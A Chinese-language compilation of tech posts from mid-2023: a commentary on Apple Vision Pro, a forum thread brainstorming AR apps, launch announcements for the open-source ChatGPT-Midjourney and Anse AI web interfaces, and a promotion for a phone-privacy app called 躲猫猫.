作为消费电子行业的执牛耳者,苹果公司的一举一动都吸引着全球目光。近日,其发布了头部显示产品 ——Vision Pro ,这是一款混合现实设备,能“无缝”地融合现实和数字世界。其演示视频瞬间在网上引发广泛讨论,有人赞之为“又一次改变了世界”,有人则怀疑其是否真能得到消费者青睐。

自乔布斯发布 iPhone 拉开移动互联网时代大幕以来,消费电子产业在飞速发展的同时,也一直在积极寻找下一个改变世界的风口。然而,从平板电脑到智能手表;从电纸书到折叠屏,这些新产品尽管带来了新鲜感,却始终难给人以“革命性”的体验,并没有开启一个像移动互联网般潜力无限的市场。而诸如虚拟现实( VR )、增强现实( AR )、混合现实( MR )等观感较为“科幻”的概念和产品,则长期受制于技术与成本,导致消费者体验不佳,仿佛一直停滞在“元年”“前夜”。可以说,无论是消费电子的大环境,还是各种“扩展现实”头显行业的小气候,都需要一剂“强心针”。此时,具备强大技术储备、资金实力与产业链控制力的苹果公司发布的“Vision Pro”,自然被寄予了厚望,产生了极高热度。

但热闹之后也需要一些“冷思考”。就苹果这款产品而言,首先其没有上市销售,目前所有实机操作都处于不完全公开状态,再叠加 3499 美元的高昂售价,可谓“技术可观,市场未卜”;其次,从 Lisa 电脑差点令公司破产,到彩色塑料壳 iPhone 昙花一现;从 HomePod 音箱尽显颓势,到 Mac OS 系统层出不穷的兼容性问题,苹果产品不乏失败与瑕疵,一味将其“神话”并不客观。

以更大视角看,即便苹果设想的“空间计算”真的将虚拟与现实顺滑地连接在一起,这种“沉浸感”本身并不见得就是一件好事。以假乱真,让人沉浸其中,是这类头显的主要设计思路。但“沉浸感”的背面就是“成瘾性”,用户尤其是未成年人能否分清真与假的边界,让人存疑。同时,一旦头盔成为日常佩戴的电子设备,真正的注意力经济就到来了,眼球移动等数据隐私能否被妥善保护,也令人存疑。显然,苹果头显所面临的道德拷问,是一个不容忽视的问题。

近几年,虚拟现实设备、虚拟币、元宇宙先后炙手可热。创造一个虚拟世界,让用户沉浸于其中,成为了许多创业者和资本为之努力的方向。理论上,创造出一个现实世界的“镜像”,并让人生活于其中,相当于将现有的全球市场规模扩大了一倍,自然是一门前途无量的绝好生意。然而,我们所生活的现实世界仍然有太多需要完善的地方,通过提高科技水平实现生产效率的提升,是解决人类生活水平、贫富差距、环境恶化等问题的途径之一。如果人类将大量创新资源,投入到打造唾手可得、虚拟却舒适的安乐窝,无疑将削弱所有人对于现实的关怀,现实世界必然愈发走向衰落。正如《流浪地球 2 》中“移山计划”与“数字生命计划”的对立一般,人类在虚拟世界里内卷,对于文明毫无意义。因此,我们不能盲目信奉技术乐观主义,不假思索、争先恐后地充当虚拟世界“造物主”。

苹果头显再一次改变世界了吗?目前答案并不明朗。但手握芯片与操作系统两大核心技术,占据软硬结合的生态优势,给了苹果震动业界的机会。这再一次启示我们,“硬科技”是一切概念落地的基础,唯有牢牢掌握核心技术,中国才有可能跟上竞争步伐。

昨天发布了ChatGPT-Midjourney的初始版本,不过当时只支持imagin/upscale/variation这三个操作,然后便火速将最好玩的describe/blend和图生图也支持了。现在也可以直接一键 docker 部署,方便至极。

开源地址: https://github.com/Licoy/ChatGPT-Midjourney

接下来的计划:

  • 支持界面配置 midjourney-proxy 服务
  • 支持类似于 discord 中的输入体验

? 有需要的小伙伴可以试试,部署一个只需要 3 分钟不到~
? ChatGPT-Midjourney 再更新,支持 imagin/upscale/variation/describe/blend 和图生图,可 Docker 部署
? ChatGPT-Midjourney 再更新,支持 imagin/upscale/variation/describe/blend 和图生图,可 Docker 部署1

Apple Vision Pro 一推出后评价两极分化,这个和在苹果公司内部的反应是一致的。大家对这个设备的讨论一般都是聚焦在它的缺点和不足上面。

在这个帖子里,想让大家假扮下“果粉”,大开脑洞,来展望下未来——假设未来 Apple Vision Pro 真的牛逼了,成为了新的 iPhone 一样的设备,人手一台。街上人都带着 Apple Vision Pro ,不带的人就像现在不带智能机的人一样寸步难行。那么那时候我们的生活会变成什么样子呢?会出现什么“杀手级”的应用呢?要注意所有的假设不是不切实际的空想,而是需要建立在已经推出的 Apple Vision Pro 这个设备上,能够真的实现的应用(可能现阶段体验未必好,但是已经可以开发出来了)

我觉得很多之前 AR 的点子现在终于可以实现了:

  1. 利用 AR 显示结合 GPS 和各种图像定位算法,我们以后用 Google Map ,高德导航,可以直接带着眼镜然后把路标显示在我们的视野中了。其实现在好多车已经有了这个功能,只是还没有对应的给行人使用的。
  2. 利用 FaceTime 这个能够制作虚拟自己的技术,后面应该能够开发出来真正的虚拟课堂——你可以在虚拟世界中看到你的同班同学们,看到他们每一时刻的表情和手部动作。 3.结合 GPT 这些人工智能,我们应该能够开发出来一个虚拟教师,可以在你戴着设备学习的时候站在旁边给你指导。
  3. 一个简单一些的 app——结合人脸识别,我们可以直接显示你看到的人的名字。老师可以用这个来点名,签到。警察可以戴着这个来识别逃犯和危险分子(这个应该已经有类似的设备和应用了)。
  4. 参观博物馆,动物园,水族馆,植物园的时候我们戴着这个可以直接得到讲解。并且显示出来对应的文字和影音资料。动物园和水族馆和植物园可以直接用手指着里面的动物植物,让它告诉我那个生物的名字,再也不用看着牌子去一一对应了。
  5. 年老了快动不了了可以用这个来穿梭时光,看到自己之前年轻的时候的每个美好的瞬间,感觉跟濒死体验中的回溯时光有点像。
  6. 比较简单的 app——可以弄虚拟留言板,大家写评论可以直接在店里吃饭的时候就在虚拟留言板上写评论了——不过审核员还是进入后台把你的过激评论删掉的。
  7. 另一个比较简单的 app——广告商以后可以根据地理位置投放虚拟广告了,每个店铺除了真实世界,还有虚拟世界的广告。
  8. 比较可怕的一点——以后可能会有公司要求你共享你所有看到的,传感器收集到的你身边的数据。这样大公司或者政府可以通过这些数据对你的生活的环境进行建模。好处是很快就会有和真实世界一样的 3D 地图呈现(细致到每个房间每个家具)。坏处是 AI 终于可以跳脱文字,图片和视频的限制,可以利用所有用户提供的 3D 的世界的信息来训练自己了,AI 肯定会比你更了解你的物品放在哪里了。
  9. 凑数的,终于可以做一个真实的抢红包?app 了,当然各种基于地理位置信息的 AR 游戏( Pokemon Go2 )有可能会掀起一波新的浪潮。以后小朋友们都得带着设备出去抓口袋妖怪了。

先介绍一下它的前身,最早一批开源的 GPT-3.5 客户端项目——?chatgpt-demo。由于这个项目的定位为极简风格,从架构上难以扩展例如多 Tab 、参数设置等功能,因此 3 月中上旬,我们开始了下一代版本的设计和迭代。在近三个月的打磨中,我们陆续完成了多窗口、多 AI 平台(目前为 OpenAI 、Replicate )的支持,并且支持了三种聊天形态。这个项目取名为 Anse ,不久前刚刚获得了 1k star ,个人也感觉达到了一个较为稳定的版本。
Anse: 优雅开源可自部署的 AI WebUI,支持 ChatGPT / DALL·E / Stable Diffusion 等模型

特点

  • 插件化的多 AI 平台支持。参考插件化的概念,每个平台被封装为一个 Provider 插件,可以快速地扩展支持一个全新的平台。目前支持 OpenAI (Chat, DALL·E),Replicate (Stable Diffusion, Waifu Diffusion),未来计划继续支持 Anthropic (Claude),stability-ai ,HuggingFace 等平台。
  • 极致优化的体验。从输入框体验到实际的展示效果、代码高亮、历史消息操作都进行了优化,在功能增加时尽量保持 UI 简洁。同时适配手机端与黑暗模式。
  • 两种连接方式。可以选择本地直连接口,或是通过后端中转访问,以适配不同的网络环境。
  • 三种聊天形态。根据实际对话场景,可选择连续对话(历史记录不清空)、单次对话(一问一答)、图片生成三种聊天形态。
  • 开源与自部署。与前作 chatgpt-demo 一样,依然采用 Astro+SolidJS 技术栈,项目开源并可部署到 Vercel 、Netlify 、Railway 、Docker 等平台(目前自部署暂不支持内置 Key )。

    路线图

    未来我们还计划提供的特性包括:全局搜索、提示词商店、包括网络读取在内的插件系统、Open API 等。

更多可见 Roadmap。

链接

![ ? [首发送码] 庆 WWDC 躲猫猫发布啦!从没见过的高颜值保护手机隐私 App](https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/06/07/1686104030.png!mark)
我叫 Leo ,之前做过产品 /设计师,今年开始是一个新手的独立开发者。
四个月前我和朋友组队做的“躲猫猫”应用,是一款帮助用户保护手机隐私的应用,开发了三个月,终于要跟大家见面了。

?[主要功能]

◎ 完美隐藏不想被别人看到的 App ,掌控感带来安全感
◎ 禁止删除 App ,防止误删意外数据丢失
◎ 带娃模式和出借模式,不同场合一键轻松切换
◎ 禁止下载 App ,避免小朋友玩手机无故扣费
◎ 设置玩游戏、刷短视频时间上限,避免小朋友玩的太嗨了

?同类工具产品的差异点在于:

  • 情感化设计,新手上手友好
  • 围绕带娃和临时出借手机场景,提供一键切换
  • 轻量简洁,体积 10M

区别于提供强大而复杂选项的同类产品,我们的出发点是希望可以降低上手难度,让更多人(譬如家长)也能用上,而不是互联网工作者、极客群体的专属利器。在前段时间和 Apple 设计专家交流中,他也表达了情感化设计在工具方向的赞许和期待。

正如第一个版本的介绍所写:

  • 尽管不完善,还是希望能够尽快让大家用上
  • 愿躲猫猫可以在隐私焦虑上,给你带来一些安全感
  • 愿你家里小朋友听话,放下手机和 iPad ,多往户外走走看看

App Store 可以搜索"躲猫猫隐私"
下载链接: https://apps.apple.com/cn/app/id1661287418

? 最后,为了庆祝 WWDC2023 发布会的召开,我们将通过抽奖方式送出 10 个永久会员兑换码。
抽奖方式将按回帖的序号随机抽取,两天后( 6 月 8 日)北京时间下午 6 点截止并公布抽奖结果,祝大家手气不错!

如果大家喜欢这个 App ,可以帮忙在 App Store 给我们写个好评,对于刚发布没有一点流量的产品来说,好评是对我们最大的支持。
_

? btw:《躲猫猫》 App 是我们试水踩坑的项目,目前在开发一款睡眠类应用,欢迎在使用 Apple Watch 关注睡眠的朋友联系我们(微信 leo_huang ),6 月底(在做了在做了)将开始不完善的小范围内测,我们愿意和用户一起打磨好这款睡眠类产品,先放几张设计图。

![ ? [首发送码] 庆 WWDC 躲猫猫发布啦!从没见过的高颜值保护手机隐私 App1](https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/06/07/1686104023.png!mark)